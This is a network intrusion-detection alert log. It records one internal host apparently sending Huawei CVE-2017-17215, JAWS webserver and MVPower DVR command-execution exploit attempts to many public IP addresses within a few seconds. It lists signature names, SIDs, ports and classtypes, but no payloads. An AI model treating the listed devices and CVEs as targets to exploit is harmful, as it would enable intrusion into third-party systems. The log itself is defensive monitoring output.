ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 99.27.23.33

Timestamp:	06/10/24-15:37:59.802263
SID:	2025883
Source Port:	47840
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.145.152

Timestamp:	06/10/24-15:37:59.996932
SID:	2835222
Source Port:	38538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 99.191.18.126

Timestamp:	06/10/24-15:38:02.145724
SID:	2030092
Source Port:	33994
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.215.149.213

Timestamp:	06/10/24-15:37:59.948996
SID:	2835222
Source Port:	42108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.57.169.86

Timestamp:	06/10/24-15:38:00.013509
SID:	2835222
Source Port:	52976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.161.75.219

Timestamp:	06/10/24-15:38:02.699989
SID:	2835222
Source Port:	56932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.235.58.223

Timestamp:	06/10/24-15:38:02.502251
SID:	2829579
Source Port:	51694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 179.209.203.124

Timestamp:	06/10/24-15:38:02.134607
SID:	2030092
Source Port:	39618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.10.20.117

Timestamp:	06/10/24-15:37:59.943966
SID:	2835222
Source Port:	60614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.167.122.41

Timestamp:	06/10/24-15:37:59.956134
SID:	2829579
Source Port:	38414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.242.158.116

Timestamp:	06/10/24-15:38:02.639134
SID:	2829579
Source Port:	37932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.31.222.74

Timestamp:	06/10/24-15:38:00.227634
SID:	2829579
Source Port:	56846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.245.237.250

Timestamp:	06/10/24-15:38:00.012794
SID:	2829579
Source Port:	49156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.217.153.165

Timestamp:	06/10/24-15:38:02.673517
SID:	2835222
Source Port:	38196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.225.226.13

Timestamp:	06/10/24-15:38:02.663241
SID:	2835222
Source Port:	54254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.103.216.158

Timestamp:	06/10/24-15:38:02.509056
SID:	2829579
Source Port:	43224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.35.253.5

Timestamp:	06/10/24-15:37:59.952964
SID:	2835222
Source Port:	56508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.15.193.245

Timestamp:	06/10/24-15:37:59.965473
SID:	2829579
Source Port:	48328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 82.198.125.207

Timestamp:	06/10/24-15:38:02.227237
SID:	2030092
Source Port:	45604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 130.57.240.142

Timestamp:	06/10/24-15:38:02.139988
SID:	2030092
Source Port:	51556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 62.202.106.198

Timestamp:	06/10/24-15:38:02.180176
SID:	2030092
Source Port:	36034
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.91.70.189

Timestamp:	06/10/24-15:38:02.711502
SID:	2835222
Source Port:	56870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.53.52.238

Timestamp:	06/10/24-15:38:02.506945
SID:	2829579
Source Port:	38860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.175.16.45

Timestamp:	06/10/24-15:38:00.037730
SID:	2835222
Source Port:	50096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.0.213.101

Timestamp:	06/10/24-15:38:02.761061
SID:	2835222
Source Port:	36230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.207.144.176

Timestamp:	06/10/24-15:38:00.263818
SID:	2835222
Source Port:	45736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.121.202.25

Timestamp:	06/10/24-15:38:02.867036
SID:	2835222
Source Port:	52678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 139.221.66.14

Timestamp:	06/10/24-15:38:02.257662
SID:	2030092
Source Port:	51362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.197.52.159

Timestamp:	06/10/24-15:38:02.796621
SID:	2829579
Source Port:	51590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.217.108.5

Timestamp:	06/10/24-15:38:00.173963
SID:	2835222
Source Port:	33040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 88.20.26.107

Timestamp:	06/10/24-15:38:02.222619
SID:	2030092
Source Port:	55402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.182.154.164

Timestamp:	06/10/24-15:38:00.244658
SID:	2829579
Source Port:	47540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 167.251.162.140

Timestamp:	06/10/24-15:37:59.811339
SID:	2030092
Source Port:	54380
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.105.195.56

Timestamp:	06/10/24-15:38:00.032058
SID:	2829579
Source Port:	51814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.51.133.84

Timestamp:	06/10/24-15:38:02.828946
SID:	2829579
Source Port:	55338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.212.245.105

Timestamp:	06/10/24-15:38:02.712763
SID:	2829579
Source Port:	56980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.200.117.215

Timestamp:	06/10/24-15:38:00.207478
SID:	2835222
Source Port:	59202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.7.198.77

Timestamp:	06/10/24-15:38:00.264605
SID:	2835222
Source Port:	48610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.65.114.229

Timestamp:	06/10/24-15:38:00.170870
SID:	2829579
Source Port:	57464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 180.138.26.228

Timestamp:	06/10/24-15:38:02.138190
SID:	2030092
Source Port:	39472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 92.126.239.180

Timestamp:	06/10/24-15:37:59.847523
SID:	2025883
Source Port:	58522
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.27.200.127

Timestamp:	06/10/24-15:37:59.961213
SID:	2835222
Source Port:	42564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.185.143.113

Timestamp:	06/10/24-15:37:59.937775
SID:	2835222
Source Port:	51088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.25.198.155

Timestamp:	06/10/24-15:38:00.225874
SID:	2835222
Source Port:	60486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.29.159.134

Timestamp:	06/10/24-15:38:02.871465
SID:	2829579
Source Port:	38466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.111.68.220

Timestamp:	06/10/24-15:38:02.740863
SID:	2835222
Source Port:	59230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.112.237.34

Timestamp:	06/10/24-15:37:59.924273
SID:	2829579
Source Port:	55322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.229.41.14

Timestamp:	06/10/24-15:38:02.701067
SID:	2829579
Source Port:	35468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.184.200.60

Timestamp:	06/10/24-15:38:02.920636
SID:	2835222
Source Port:	57886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.25.119

Timestamp:	06/10/24-15:38:00.012098
SID:	2835222
Source Port:	50268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.99.186.57

Timestamp:	06/10/24-15:38:02.567099
SID:	2835222
Source Port:	45438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.145.128.99

Timestamp:	06/10/24-15:38:02.798921
SID:	2835222
Source Port:	58940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.174.115.39

Timestamp:	06/10/24-15:37:59.970506
SID:	2835222
Source Port:	60046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.110.23.1

Timestamp:	06/10/24-15:38:02.696885
SID:	2829579
Source Port:	56356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.119.169.82

Timestamp:	06/10/24-15:38:02.859446
SID:	2829579
Source Port:	55734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.43.184.117

Timestamp:	06/10/24-15:38:02.489622
SID:	2829579
Source Port:	36090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 76.19.240.75

Timestamp:	06/10/24-15:38:02.265344
SID:	2030092
Source Port:	57046
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.165.101.234

Timestamp:	06/10/24-15:38:02.756024
SID:	2829579
Source Port:	37358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.14.234.212

Timestamp:	06/10/24-15:38:02.863237
SID:	2835222
Source Port:	37642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 72.99.239.26

Timestamp:	06/10/24-15:38:02.146535
SID:	2025883
Source Port:	36400
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.176.22.163

Timestamp:	06/10/24-15:38:00.252450
SID:	2835222
Source Port:	37234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.2.142.241

Timestamp:	06/10/24-15:38:02.658653
SID:	2835222
Source Port:	58346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.62.0.215

Timestamp:	06/10/24-15:38:02.496645
SID:	2835222
Source Port:	44582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.33.14.33

Timestamp:	06/10/24-15:37:59.972189
SID:	2835222
Source Port:	41548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 113.161.7.171

Timestamp:	06/10/24-15:38:02.164056
SID:	2030092
Source Port:	50066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 82.111.112.237

Timestamp:	06/10/24-15:38:02.209869
SID:	2030092
Source Port:	40614
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 24.116.173.33

Timestamp:	06/10/24-15:38:02.253866
SID:	2030092
Source Port:	56536
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 132.254.47.159

Timestamp:	06/10/24-15:38:02.093026
SID:	2030092
Source Port:	47666
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 175.194.108.221

Timestamp:	06/10/24-15:38:02.112260
SID:	2030092
Source Port:	60740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.172.90.182

Timestamp:	06/10/24-15:38:02.491767
SID:	2835222
Source Port:	59288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.86.241.113

Timestamp:	06/10/24-15:38:02.504277
SID:	2829579
Source Port:	55388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 219.24.143.221

Timestamp:	06/10/24-15:37:59.842965
SID:	2030092
Source Port:	49276
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.161.132.25

Timestamp:	06/10/24-15:38:02.837956
SID:	2829579
Source Port:	51482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.219.156.112

Timestamp:	06/10/24-15:38:00.132778
SID:	2829579
Source Port:	40686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.201.241.195

Timestamp:	06/10/24-15:38:00.265357
SID:	2829579
Source Port:	51268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 99.110.30.54

Timestamp:	06/10/24-15:38:02.164719
SID:	2030092
Source Port:	35744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 223.124.210.132

Timestamp:	06/10/24-15:38:02.103822
SID:	2030092
Source Port:	38728
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.186.79.156

Timestamp:	06/10/24-15:38:02.772411
SID:	2829579
Source Port:	43048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.166.206.200

Timestamp:	06/10/24-15:38:00.215590
SID:	2835222
Source Port:	57534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.161.161.103

Timestamp:	06/10/24-15:38:02.906256
SID:	2835222
Source Port:	33836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 107.49.182.125

Timestamp:	06/10/24-15:38:02.129599
SID:	2030092
Source Port:	39360
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.214.194.245

Timestamp:	06/10/24-15:38:00.254476
SID:	2829579
Source Port:	36058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 201.247.10.188

Timestamp:	06/10/24-15:38:02.177224
SID:	2030092
Source Port:	46608
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 20.2.48.78

Timestamp:	06/10/24-15:37:59.765229
SID:	2030092
Source Port:	45956
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 80.246.211.214

Timestamp:	06/10/24-15:37:59.854316
SID:	2025883
Source Port:	49022
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 110.93.10.149

Timestamp:	06/10/24-15:38:02.220675
SID:	2030092
Source Port:	57864
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.179.59.101

Timestamp:	06/10/24-15:38:02.774996
SID:	2829579
Source Port:	39138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.81.50.55

Timestamp:	06/10/24-15:38:02.851207
SID:	2829579
Source Port:	55572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.96.242.34

Timestamp:	06/10/24-15:38:02.750600
SID:	2829579
Source Port:	48216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.186.220.178

Timestamp:	06/10/24-15:38:00.011379
SID:	2829579
Source Port:	43896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.223.106.15

Timestamp:	06/10/24-15:38:02.909928
SID:	2835222
Source Port:	54426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.136.101.104

Timestamp:	06/10/24-15:38:00.271532
SID:	2835222
Source Port:	51048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.190.41.183

Timestamp:	06/10/24-15:37:59.926044
SID:	2829579
Source Port:	44436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.46.185.236

Timestamp:	06/10/24-15:38:02.638444
SID:	2835222
Source Port:	40638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.106.240.216

Timestamp:	06/10/24-15:38:02.193979
SID:	2030092
Source Port:	40012
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 19.78.165.78

Timestamp:	06/10/24-15:38:02.111021
SID:	2030092
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 50.13.193.163

Timestamp:	06/10/24-15:37:59.753726
SID:	2025883
Source Port:	58648
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.159.14.165

Timestamp:	06/10/24-15:38:02.646438
SID:	2829579
Source Port:	45280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.169.217.182

Timestamp:	06/10/24-15:38:00.030618
SID:	2835222
Source Port:	41584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.65.234.66

Timestamp:	06/10/24-15:38:02.874286
SID:	2835222
Source Port:	60666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.2.17.159

Timestamp:	06/10/24-15:38:02.693449
SID:	2835222
Source Port:	37908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.117.93.142

Timestamp:	06/10/24-15:37:59.979940
SID:	2835222
Source Port:	35362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 135.106.4.49

Timestamp:	06/10/24-15:37:59.874568
SID:	2025883
Source Port:	57824
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.229.216.231

Timestamp:	06/10/24-15:38:00.198882
SID:	2835222
Source Port:	40706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.211.105.203

Timestamp:	06/10/24-15:38:00.028419
SID:	2829579
Source Port:	42996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 123.231.38.192

Timestamp:	06/10/24-15:38:02.111653
SID:	2030092
Source Port:	36160
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

